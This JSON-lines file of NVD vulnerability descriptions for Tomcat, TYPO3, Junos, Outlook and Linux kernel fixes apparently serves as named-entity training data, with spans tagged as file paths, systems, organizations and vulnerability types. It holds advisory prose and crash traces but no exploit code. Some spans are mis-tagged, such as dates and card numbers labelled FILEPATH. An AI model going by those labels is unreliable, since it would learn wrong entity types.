{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Reader 9.7.1.29511. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of widgets in XFA forms. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-10650.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-10907"}}
{"text": "In TYPO3 CMS greater than or equal to 9.0.0 and less than 9.5.20, and greater than or equal to 10.0.0 and less than 10.4.6, in a case where an attacker manages to generate a valid cryptographic message authentication code (HMAC-SHA1) - either by using a different existing vulnerability or in case the internal encryptionKey was exposed - it is possible to retrieve arbitrary files of a TYPO3 installation. This includes the possibility to fetch typo3conf/LocalConfiguration.php, which again contains the encryptionKey as well as credentials of the database management system being used. In case a database server is directly accessible either via internet or in a shared hosting network, this allows the ability to completely retrieve, manipulate or delete database contents. This includes creating an administration user account - which can be used to trigger remote code execution by injecting custom extensions. This has been patched in versions 9.5.20 and 10.4.6.", "spans": {"FILEPATH: LocalConfiguration.php": [[456, 478]], "VULNERABILITY: remote code execution": [[862, 883]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15099"}}
{"text": "An Incorrect Behavior Order vulnerability in the MAP-E automatic tunneling mechanism of Juniper Networks Junos OS allows an attacker to send certain malformed IPv4 or IPv6 packets to cause a Denial of Service (DoS) to the PFE on the device which is disabled as a result of the processing of these packets. Continued receipt and processing of these malformed IPv4 or IPv6 packets will create a sustained Denial of Service (DoS) condition. This issue only affects MPC 7/8/9/10/11 cards, when MAP-E IP reassembly is enabled on these cards. An indicator of compromise is the output: FPC [\"FPC ID\" # e.g. \"0\"] PFE #{PFE ID # e.g. \"1\"] : Fabric Disabled Example: FPC 0 PFE #1 : Fabric Disabled when using the command: show chassis fabric fpcs An example of a healthy result of the command use would be: user@device-re1> show chassis fabric fpcs Fabric management FPC state: FPC 0 PFE #0 Plane 0: Plane enabled Plane 1: Plane enabled Plane 2: Plane enabled Plane 3: Plane enabled Plane 4: Plane enabled Plane 5: Plane enabled Plane 6: Plane enabled Plane 7: Plane enabled This issue affects: Juniper Networks Junos OS on MX Series with MPC 7/8/9/10/11 cards, when MAP-E IP reassembly is enabled on these cards. 17.2 version 17.2R1 and later versions; 17.3 versions prior to 17.3R3-S9; 17.4 versions prior to 17.4R2-S12, 17.4R3-S3; 18.1 versions prior to 18.1R3-S11; 18.2 versions prior to 18.2R2-S6, 18.2R3-S3; 18.3 versions prior to 18.3R2-S4, 18.3R3-S1; 18.4 versions prior to 18.4R1-S8, 18.4R2-S5, 18.4R3; 19.1 versions prior to 19.1R1-S6, 19.1R2-S2, 19.1R3; 19.2 versions prior to 19.2R1-S5, 19.2R2; 19.3 versions prior to 19.3R2-S5, 19.3R3. This issue does not affect Juniper Networks Junos OS versions prior to 17.2R1.", "spans": {"FILEPATH: /8/9/10/11": [[467, 477], [1134, 1144]], "ORGANIZATION: Juniper": [[88, 95], [1085, 1092], [1666, 1673]], "VULNERABILITY: Denial of Service": [[191, 208], [403, 420]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31379"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: resolve faulty mmap_region() error path behaviour\n\nThe mmap_region() function is somewhat terrifying, with spaghetti-like\ncontrol flow and numerous means by which issues can arise and incomplete\nstate, memory leaks and other unpleasantness can occur.\n\nA large amount of the complexity arises from trying to handle errors late\nin the process of mapping a VMA, which forms the basis of recently\nobserved issues with resource leaks and observable inconsistent state.\n\nTaking advantage of previous patches in this series we move a number of\nchecks earlier in the code, simplifying things by moving the core of the\nlogic into a static internal function __mmap_region().\n\nDoing this allows us to perform a number of checks up front before we do\nany real work, and allows us to unwind the writable unmap check\nunconditionally as required and to perform a CONFIG_DEBUG_VM_MAPLE_TREE\nvalidation unconditionally also.\n\nWe move a number of things here:\n\n1. We preallocate memory for the iterator before we call the file-backed\n   memory hook, allowing us to exit early and avoid having to perform\n   complicated and error-prone close/free logic. We carefully free\n   iterator state on both success and error paths.\n\n2. The enclosing mmap_region() function handles the mapping_map_writable()\n   logic early. Previously the logic had the mapping_map_writable() at the\n   point of mapping a newly allocated file-backed VMA, and a matching\n   mapping_unmap_writable() on success and error paths.\n\n   We now do this unconditionally if this is a file-backed, shared writable\n   mapping. If a driver changes the flags to eliminate VM_MAYWRITE, however\n   doing so does not invalidate the seal check we just performed, and we in\n   any case always decrement the counter in the wrapper.\n\n   We perform a debug assert to ensure a driver does not attempt to do the\n   opposite.\n\n3. We also move arch_validate_flags() up into the mmap_region()\n   function. This is only relevant on arm64 and sparc64, and the check is\n   only meaningful for SPARC with ADI enabled. We explicitly add a warning\n   for this arch if a driver invalidates this check, though the code ought\n   eventually to be fixed to eliminate the need for this.\n\nWith all of these measures in place, we no longer need to explicitly close\nthe VMA on error paths, as we place all checks which might fail prior to a\ncall to any driver mmap hook.\n\nThis eliminates an entire class of errors, makes the code easier to reason\nabout and more robust.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53096"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbus: mhi: host: Detect events pointing to unexpected TREs\n\nWhen a remote device sends a completion event to the host, it contains a\npointer to the consumed TRE. The host uses this pointer to process all of\nthe TREs between it and the host's local copy of the ring's read pointer.\nThis works when processing completion for chained transactions, but can\nlead to nasty results if the device sends an event for a single-element\ntransaction with a read pointer that is multiple elements ahead of the\nhost's read pointer.\n\nFor instance, if the host accesses an event ring while the device is\nupdating it, the pointer inside of the event might still point to an old\nTRE. If the host uses the channel's xfer_cb() to directly free the buffer\npointed to by the TRE, the buffer will be double-freed.\n\nThis behavior was observed on an ep that used upstream EP stack without\n'commit 6f18d174b73d (\"bus: mhi: ep: Update read pointer only after buffer\nis written\")'. Where the device updated the events ring pointer before\nupdating the event contents, so it left a window where the host was able to\naccess the stale data the event pointed to, before the device had the\nchance to update them. The usual pattern was that the host received an\nevent pointing to a TRE that is not immediately after the last processed\none, so it got treated as if it was a chained transaction, processing all\nof the TREs in between the two read pointers.\n\nThis commit aims to harden the host by ensuring transactions where the\nevent points to a TRE that isn't local_rp + 1 are chained.\n\n[mani: added stable tag and reworded commit message]", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39790"}}
{"text": "When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter=\"null\" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control. Note that all of conditions a) to d) must be true for the attack to succeed.", "spans": {"SYSTEM: Apache Tomcat": [[11, 24]], "VULNERABILITY: remote code execution": [[723, 744]], "VULNERABILITY: deserialization": [[749, 764]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-9484"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix division by zero in setup_dsc_config\n\nWhen slice_height is 0, the division by slice_height in the calculation\nof the number of slices will cause a division by zero driver crash. This\nleaves the kernel in a state that requires a reboot. This patch adds a\ncheck to avoid the division by zero.\n\nThe stack trace below is for the 6.8.4 Kernel. I reproduced the issue on\na Z16 Gen 2 Lenovo Thinkpad with a Apple Studio Display monitor\nconnected via Thunderbolt. The amdgpu driver crashed with this exception\nwhen I rebooted the system with the monitor connected.\n\nkernel: ? die (arch/x86/kernel/dumpstack.c:421 arch/x86/kernel/dumpstack.c:434 arch/x86/kernel/dumpstack.c:447)\nkernel: ? do_trap (arch/x86/kernel/traps.c:113 arch/x86/kernel/traps.c:154)\nkernel: ? setup_dsc_config (drivers/gpu/drm/amd/amdgpu/../display/dc/dsc/dc_dsc.c:1053) amdgpu\nkernel: ? do_error_trap (./arch/x86/include/asm/traps.h:58 arch/x86/kernel/traps.c:175)\nkernel: ? setup_dsc_config (drivers/gpu/drm/amd/amdgpu/../display/dc/dsc/dc_dsc.c:1053) amdgpu\nkernel: ? exc_divide_error (arch/x86/kernel/traps.c:194 (discriminator 2))\nkernel: ? setup_dsc_config (drivers/gpu/drm/amd/amdgpu/../display/dc/dsc/dc_dsc.c:1053) amdgpu\nkernel: ? asm_exc_divide_error (./arch/x86/include/asm/idtentry.h:548)\nkernel: ? setup_dsc_config (drivers/gpu/drm/amd/amdgpu/../display/dc/dsc/dc_dsc.c:1053) amdgpu\nkernel: dc_dsc_compute_config (drivers/gpu/drm/amd/amdgpu/../display/dc/dsc/dc_dsc.c:1109) amdgpu\n\nAfter applying this patch, the driver no longer crashes when the monitor\nis connected and the system is rebooted. I believe this is the same\nissue reported for 3113.", "spans": {"FILEPATH: /amd/display": [[72, 84]], "FILEPATH: /x86/kernel/dumpstack.c": [[667, 690], [699, 722], [731, 754]], "FILEPATH: /x86/kernel/traps.c": [[783, 802], [811, 830], [994, 1013], [1146, 1165]], "FILEPATH: /gpu/drm/amd/amdgpu/../display/dc/dsc/dc_dsc.c": [[871, 917], [1054, 1100], [1224, 1270], [1390, 1436], [1488, 1534]], "FILEPATH: /arch/x86/include/asm/traps.h": [[957, 986]], "FILEPATH: /arch/x86/include/asm/idtentry.h": [[1317, 1349]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Lenovo": [[467, 473]], "ORGANIZATION: Apple": [[490, 495]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36969"}}
{"text": "A security vulnerability in HPE Smart Update Manager (SUM) prior to version 8.5.6 could allow remote unauthorized access. Hewlett Packard Enterprise has provided a software update to resolve this vulnerability in HPE Smart Update Manager (SUM) prior to 8.5.6. Please visit the HPE Support Center at https://support.hpe.com/hpesc/public/home to download the latest version of HPE Smart Update Manager (SUM). Download the latest version of HPE Smart Update Manager (SUM) or download the latest Service Pack For ProLiant (SPP).", "spans": {"URL: https://support.hpe.com/hpesc/public/home": [[299, 340]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-7136"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nhfs: fix missing hfs_bnode_get() in __hfs_bnode_create\n\nSyzbot found a kernel BUG in hfs_bnode_put():\n\n kernel BUG at fs/hfs/bnode.c:466!\n invalid opcode: 0000 [#1] PREEMPT SMP KASAN\n CPU: 0 PID: 3634 Comm: kworker/u4:5 Not tainted 6.1.0-rc7-syzkaller-00190-g97ee9d1c1696 #0\n Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/26/2022\n Workqueue: writeback wb_workfn (flush-7:0)\n RIP: 0010:hfs_bnode_put+0x46f/0x480 fs/hfs/bnode.c:466\n Code: 8a 80 ff e9 73 fe ff ff 89 d9 80 e1 07 80 c1 03 38 c1 0f 8c a0 fe ff ff 48 89 df e8 db 8a 80 ff e9 93 fe ff ff e8 a1 68 2c ff <0f> 0b e8 9a 68 2c ff 0f 0b 0f 1f 84 00 00 00 00 00 55 41 57 41 56\n RSP: 0018:ffffc90003b4f258 EFLAGS: 00010293\n RAX: ffffffff825e318f RBX: 0000000000000000 RCX: ffff8880739dd7c0\n RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\n RBP: ffffc90003b4f430 R08: ffffffff825e2d9b R09: ffffed10045157d1\n R10: ffffed10045157d1 R11: 1ffff110045157d0 R12: ffff8880228abe80\n R13: ffff88807016c000 R14: dffffc0000000000 R15: ffff8880228abe00\n FS:  0000000000000000(0000) GS:ffff8880b9800000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00007fa6ebe88718 CR3: 000000001e93d000 CR4: 00000000003506f0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n Call Trace:\n  <TASK>\n  hfs_write_inode+0x1bc/0xb40\n  write_inode fs/fs-writeback.c:1440 [inline]\n  __writeback_single_inode+0x4d6/0x670 fs/fs-writeback.c:1652\n  writeback_sb_inodes+0xb3b/0x18f0 fs/fs-writeback.c:1878\n  __writeback_inodes_wb+0x125/0x420 fs/fs-writeback.c:1949\n  wb_writeback+0x440/0x7b0 fs/fs-writeback.c:2054\n  wb_check_start_all fs/fs-writeback.c:2176 [inline]\n  wb_do_writeback fs/fs-writeback.c:2202 [inline]\n  wb_workfn+0x827/0xef0 fs/fs-writeback.c:2235\n  process_one_work+0x877/0xdb0 kernel/workqueue.c:2289\n  worker_thread+0xb14/0x1330 kernel/workqueue.c:2436\n  kthread+0x266/0x300 kernel/kthread.c:376\n  ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:306\n  </TASK>\n\nThe BUG_ON() is triggered at here:\n\n/* Dispose of resources used by a node */\nvoid hfs_bnode_put(struct hfs_bnode *node)\n{\n\tif (node) {\n \t\t<skipped>\n \t\tBUG_ON(!atomic_read(&node->refcnt)); <- we have issue here!!!!\n \t\t<skipped>\n \t}\n}\n\nBy tracing the refcnt, I found the node is created by hfs_bmap_alloc()\nwith refcnt 1.  Then the node is used by hfs_btree_write().  There is a\nmissing of hfs_bnode_get() after find the node.  The issue happened in\nfollowing path:\n\n<alloc>\n hfs_bmap_alloc\n   hfs_bnode_find\n     __hfs_bnode_create   <- allocate a new node with refcnt 1.\n   hfs_bnode_put          <- decrease the refcnt\n\n<write>\n hfs_btree_write\n   hfs_bnode_find\n     __hfs_bnode_create\n       hfs_bnode_findhash <- find the node without refcnt increased.\n   hfs_bnode_put\t  <- trigger the BUG_ON() since refcnt is 0.", "spans": {"FILEPATH: /hfs/bnode.c": [[189, 201], [518, 530]], "FILEPATH: /26/2022": [[426, 434]], "FILEPATH: /x86/entry/entry_64.S": [[2104, 2125]], "FILEPATH: writeback.c": [[1518, 1529], [1589, 1600], [1647, 1658], [1706, 1717], [1756, 1767], [1800, 1811], [1850, 1861], [1906, 1917]], "FILEPATH: workqueue.c": [[1961, 1972], [2014, 2025]], "FILEPATH: kthread.c": [[2060, 2069]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[360, 366], [367, 373], [389, 395], [417, 423]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53862"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nax25: rcu protect dev->ax25_ptr\n\nsyzbot found a lockdep issue [1].\n\nWe should remove ax25 RTNL dependency in ax25_setsockopt()\n\nThis should also fix a variety of possible UAF in ax25.\n\n[1]\n\nWARNING: possible circular locking dependency detected\n6.13.0-rc3-syzkaller-00762-g9268abe611b0 #0 Not tainted\n------------------------------------------------------\nsyz.5.1818/12806 is trying to acquire lock:\n ffffffff8fcb3988 (rtnl_mutex){+.+.}-{4:4}, at: ax25_setsockopt+0xa55/0xe90 net/ax25/af_ax25.c:680\n\nbut task is already holding lock:\n ffff8880617ac258 (sk_lock-AF_AX25){+.+.}-{0:0}, at: lock_sock include/net/sock.h:1618 [inline]\n ffff8880617ac258 (sk_lock-AF_AX25){+.+.}-{0:0}, at: ax25_setsockopt+0x209/0xe90 net/ax25/af_ax25.c:574\n\nwhich lock already depends on the new lock.\n\nthe existing dependency chain (in reverse order) is:\n\n-> #1 (sk_lock-AF_AX25){+.+.}-{0:0}:\n        lock_acquire+0x1ed/0x550 kernel/locking/lockdep.c:5849\n        lock_sock_nested+0x48/0x100 net/core/sock.c:3642\n        lock_sock include/net/sock.h:1618 [inline]\n        ax25_kill_by_device net/ax25/af_ax25.c:101 [inline]\n        ax25_device_event+0x24d/0x580 net/ax25/af_ax25.c:146\n        notifier_call_chain+0x1a5/0x3f0 kernel/notifier.c:85\n       __dev_notify_flags+0x207/0x400\n        dev_change_flags+0xf0/0x1a0 net/core/dev.c:9026\n        dev_ifsioc+0x7c8/0xe70 net/core/dev_ioctl.c:563\n        dev_ioctl+0x719/0x1340 net/core/dev_ioctl.c:820\n        sock_do_ioctl+0x240/0x460 net/socket.c:1234\n        sock_ioctl+0x626/0x8e0 net/socket.c:1339\n        vfs_ioctl fs/ioctl.c:51 [inline]\n        __do_sys_ioctl fs/ioctl.c:906 [inline]\n        __se_sys_ioctl+0xf5/0x170 fs/ioctl.c:892\n        do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n        do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n       entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\n-> #0 (rtnl_mutex){+.+.}-{4:4}:\n        check_prev_add kernel/locking/lockdep.c:3161 [inline]\n        check_prevs_add kernel/locking/lockdep.c:3280 [inline]\n        validate_chain+0x18ef/0x5920 kernel/locking/lockdep.c:3904\n        __lock_acquire+0x1397/0x2100 kernel/locking/lockdep.c:5226\n        lock_acquire+0x1ed/0x550 kernel/locking/lockdep.c:5849\n        __mutex_lock_common kernel/locking/mutex.c:585 [inline]\n        __mutex_lock+0x1ac/0xee0 kernel/locking/mutex.c:735\n        ax25_setsockopt+0xa55/0xe90 net/ax25/af_ax25.c:680\n        do_sock_setsockopt+0x3af/0x720 net/socket.c:2324\n        __sys_setsockopt net/socket.c:2349 [inline]\n        __do_sys_setsockopt net/socket.c:2355 [inline]\n        __se_sys_setsockopt net/socket.c:2352 [inline]\n        __x64_sys_setsockopt+0x1ee/0x280 net/socket.c:2352\n        do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n        do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n       entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nother info that might help us debug this:\n\n Possible unsafe locking scenario:\n\n       CPU0                    CPU1\n       ----                    ----\n  lock(sk_lock-AF_AX25);\n                               lock(rtnl_mutex);\n                               lock(sk_lock-AF_AX25);\n  lock(rtnl_mutex);\n\n *** DEADLOCK ***\n\n1 lock held by syz.5.1818/12806:\n  #0: ffff8880617ac258 (sk_lock-AF_AX25){+.+.}-{0:0}, at: lock_sock include/net/sock.h:1618 [inline]\n  #0: ffff8880617ac258 (sk_lock-AF_AX25){+.+.}-{0:0}, at: ax25_setsockopt+0x209/0xe90 net/ax25/af_ax25.c:574\n\nstack backtrace:\nCPU: 1 UID: 0 PID: 12806 Comm: syz.5.1818 Not tainted 6.13.0-rc3-syzkaller-00762-g9268abe611b0 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\nCall Trace:\n <TASK>\n  __dump_stack lib/dump_stack.c:94 [inline]\n  dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120\n  print_circular_bug+0x13a/0x1b0 kernel/locking/lockdep.c:2074\n  check_noncircular+0x36a/0x4a0 kernel/locking/lockdep.c:2206\n  check_prev_add kernel/locking/lockdep.c:3161 [inline]\n  check_prevs_add kernel/lockin\n---truncated---", "spans": {"FILEPATH: /ax25/af_ax25.c": [[548, 563], [783, 798], [1142, 1157], [1212, 1227], [2422, 2437], [3430, 3445]], "FILEPATH: /net/sock.h": [[673, 684], [1085, 1096], [3315, 3326]], "FILEPATH: /locking/lockdep.c": [[979, 997], [1966, 1984], [2029, 2047], [2105, 2123], [2172, 2190], [2235, 2253], [3809, 3827], [3871, 3889], [3918, 3936]], "FILEPATH: /core/sock.c": [[1042, 1054]], "FILEPATH: /core/dev.c": [[1370, 1381]], "FILEPATH: /core/dev_ioctl.c": [[1421, 1438], [1477, 1494]], "FILEPATH: /x86/entry/common.c": [[1764, 1783], [1833, 1852], [2747, 2766], [2816, 2835]], "FILEPATH: /locking/mutex.c": [[2293, 2309], [2362, 2378]], "FILEPATH: /13/2024": [[3647, 3655]], "FILEPATH: notifier.c": [[1279, 1289]], "FILEPATH: socket.c": [[1537, 1545], [1586, 1594], [2485, 2493], [2528, 2536], [2583, 2591], [2638, 2646], [2706, 2714]], "FILEPATH: ioctl.c": [[1621, 1628], [1667, 1674], [1725, 1732]], "FILEPATH: dump_stack.c": [[3695, 3707], [3753, 3765]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[3581, 3587], [3588, 3594], [3610, 3616], [3638, 3644]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21812"}}
{"text": "Multiple buffer overflows in the limited configuration shell (/sbin/gs_config) on Grandstream HT801 devices before 1.0.29 allow remote authenticated users to execute arbitrary code as root via a crafted manage_if setting, thus bypassing the intended restrictions of this shell and taking full control of the device. There are default weak credentials that can be used to authenticate.", "spans": {"FILEPATH: /sbin/gs_config": [[62, 77]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37748"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nice: fix crash on probe for DPLL enabled E810 LOM\n\nThe E810 Lan On Motherboard (LOM) design is vendor specific. Intel\nprovides the reference design, but it is up to vendor on the final\nproduct design. For some cases, like Linux DPLL support, the static\nvalues defined in the driver does not reflect the actual LOM design.\nCurrent implementation of dpll pins is causing the crash on probe\nof the ice driver for such DPLL enabled E810 LOM designs:\n\nWARNING: (...) at drivers/dpll/dpll_core.c:495 dpll_pin_get+0x2c4/0x330\n...\nCall Trace:\n <TASK>\n ? __warn+0x83/0x130\n ? dpll_pin_get+0x2c4/0x330\n ? report_bug+0x1b7/0x1d0\n ? handle_bug+0x42/0x70\n ? exc_invalid_op+0x18/0x70\n ? asm_exc_invalid_op+0x1a/0x20\n ? dpll_pin_get+0x117/0x330\n ? dpll_pin_get+0x2c4/0x330\n ? dpll_pin_get+0x117/0x330\n ice_dpll_get_pins.isra.0+0x52/0xe0 [ice]\n...\n\nThe number of dpll pins enabled by LOM vendor is greater than expected\nand defined in the driver for Intel designed NICs, which causes the crash.\n\nPrevent the crash and allow generic pin initialization within Linux DPLL\nsubsystem for DPLL enabled E810 LOM designs.\n\nNewly designed solution for described issue will be based on \"per HW\ndesign\" pin initialization. It requires pin information dynamically\nacquired from the firmware and is already in progress, planned for\nnext-tree only.", "spans": {"FILEPATH: /dpll/dpll_core.c": [[541, 558]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[291, 296], [1111, 1116]], "ORGANIZATION: Intel": [[181, 186], [1003, 1008]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53048"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntpm: do not start chip while suspended\n\nChecking TPM_CHIP_FLAG_SUSPENDED after the call to tpm_find_get_ops() can\nlead to a spurious tpm_chip_start() call:\n\n[35985.503771] i2c i2c-1: Transfer while suspended\n[35985.503796] WARNING: CPU: 0 PID: 74 at drivers/i2c/i2c-core.h:56 __i2c_transfer+0xbe/0x810\n[35985.503802] Modules linked in:\n[35985.503808] CPU: 0 UID: 0 PID: 74 Comm: hwrng Tainted: G        W          6.13.0-next-20250203-00005-gfa0cb5642941 #19 9c3d7f78192f2d38e32010ac9c90fdc71109ef6f\n[35985.503814] Tainted: [W]=WARN\n[35985.503817] Hardware name: Google Morphius/Morphius, BIOS Google_Morphius.13434.858.0 10/26/2023\n[35985.503819] RIP: 0010:__i2c_transfer+0xbe/0x810\n[35985.503825] Code: 30 01 00 00 4c 89 f7 e8 40 fe d8 ff 48 8b 93 80 01 00 00 48 85 d2 75 03 49 8b 16 48 c7 c7 0a fb 7c a7 48 89 c6 e8 32 ad b0 fe <0f> 0b b8 94 ff ff ff e9 33 04 00 00 be 02 00 00 00 83 fd 02 0f 5\n[35985.503828] RSP: 0018:ffffa106c0333d30 EFLAGS: 00010246\n[35985.503833] RAX: 074ba64aa20f7000 RBX: ffff8aa4c1167120 RCX: 0000000000000000\n[35985.503836] RDX: 0000000000000000 RSI: ffffffffa77ab0e4 RDI: 0000000000000001\n[35985.503838] RBP: 0000000000000001 R08: 0000000000000001 R09: 0000000000000000\n[35985.503841] R10: 0000000000000004 R11: 00000001000313d5 R12: ffff8aa4c10f1820\n[35985.503843] R13: ffff8aa4c0e243c0 R14: ffff8aa4c1167250 R15: ffff8aa4c1167120\n[35985.503846] FS:  0000000000000000(0000) GS:ffff8aa4eae00000(0000) knlGS:0000000000000000\n[35985.503849] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[35985.503852] CR2: 00007fab0aaf1000 CR3: 0000000105328000 CR4: 00000000003506f0\n[35985.503855] Call Trace:\n[35985.503859]  <TASK>\n[35985.503863]  ? __warn+0xd4/0x260\n[35985.503868]  ? __i2c_transfer+0xbe/0x810\n[35985.503874]  ? report_bug+0xf3/0x210\n[35985.503882]  ? handle_bug+0x63/0xb0\n[35985.503887]  ? exc_invalid_op+0x16/0x50\n[35985.503892]  ? asm_exc_invalid_op+0x16/0x20\n[35985.503904]  ? __i2c_transfer+0xbe/0x810\n[35985.503913]  tpm_cr50_i2c_transfer_message+0x24/0xf0\n[35985.503920]  tpm_cr50_i2c_read+0x8e/0x120\n[35985.503928]  tpm_cr50_request_locality+0x75/0x170\n[35985.503935]  tpm_chip_start+0x116/0x160\n[35985.503942]  tpm_try_get_ops+0x57/0x90\n[35985.503948]  tpm_find_get_ops+0x26/0xd0\n[35985.503955]  tpm_get_random+0x2d/0x80\n\nDon't move forward with tpm_chip_start() inside tpm_try_get_ops(), unless\nTPM_CHIP_FLAG_SUSPENDED is not set. tpm_find_get_ops() will return NULL in\nsuch a failure case.", "spans": {"HASH: 9c3d7f78192f2d38e32010ac9c90fdc71109ef6f": [[528, 568]], "FILEPATH: /i2c/i2c-core.h": [[326, 341]], "FILEPATH: /26/2023": [[693, 701]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[632, 638]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-23149"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: JSSE). Supported versions that are affected are Java SE: 7u251, 8u241, 11.0.6 and 14; Java SE Embedded: 8u241. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Java SE Embedded. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.0 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[21, 25], [30, 34], [65, 69], [133, 137], [171, 175], [305, 309], [314, 318], [462, 466], [471, 475], [538, 542], [598, 602], [640, 644], [756, 760], [797, 801]], "ORGANIZATION: Oracle": [[58, 64]], "VULNERABILITY: denial of service": [[427, 444]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2781"}}
{"text": "A remote code execution vulnerability exists in Microsoft Outlook when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user. If the current user is logged on with administrative user rights, an attacker could take control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\nExploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Outlook software. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) that contains a specially crafted file designed to exploit the vulnerability. An attacker would have no way to force users to visit the website. Instead, an attacker would have to convince users to click a link, typically by way of an enticement in an email or instant message, and then convince them to open the specially crafted file.\nNote that where severity is indicated as Critical in the Affected Products table, the Preview Pane is an attack vector.\nThe security update addresses the vulnerability by correcting how Outlook handles objects in memory.", "spans": {"SYSTEM: Microsoft Outlook": [[48, 65], [752, 769]], "VULNERABILITY: remote code execution": [[2, 23]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1483"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix use-after-free in ext4_orphan_cleanup\n\nI caught a issue as follows:\n==================================================================\n BUG: KASAN: use-after-free in __list_add_valid+0x28/0x1a0\n Read of size 8 at addr ffff88814b13f378 by task mount/710\n\n CPU: 1 PID: 710 Comm: mount Not tainted 6.1.0-rc3-next #370\n Call Trace:\n  <TASK>\n  dump_stack_lvl+0x73/0x9f\n  print_report+0x25d/0x759\n  kasan_report+0xc0/0x120\n  __asan_load8+0x99/0x140\n  __list_add_valid+0x28/0x1a0\n  ext4_orphan_cleanup+0x564/0x9d0 [ext4]\n  __ext4_fill_super+0x48e2/0x5300 [ext4]\n  ext4_fill_super+0x19f/0x3a0 [ext4]\n  get_tree_bdev+0x27b/0x450\n  ext4_get_tree+0x19/0x30 [ext4]\n  vfs_get_tree+0x49/0x150\n  path_mount+0xaae/0x1350\n  do_mount+0xe2/0x110\n  __x64_sys_mount+0xf0/0x190\n  do_syscall_64+0x35/0x80\n  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n  </TASK>\n [...]\n==================================================================\n\nAbove issue may happen as follows:\n-------------------------------------\next4_fill_super\n  ext4_orphan_cleanup\n   --- loop1: assume last_orphan is 12 ---\n    list_add(&EXT4_I(inode)->i_orphan, &EXT4_SB(sb)->s_orphan)\n    ext4_truncate --> return 0\n      ext4_inode_attach_jinode --> return -ENOMEM\n    iput(inode) --> free inode<12>\n   --- loop2: last_orphan is still 12 ---\n    list_add(&EXT4_I(inode)->i_orphan, &EXT4_SB(sb)->s_orphan);\n    // use 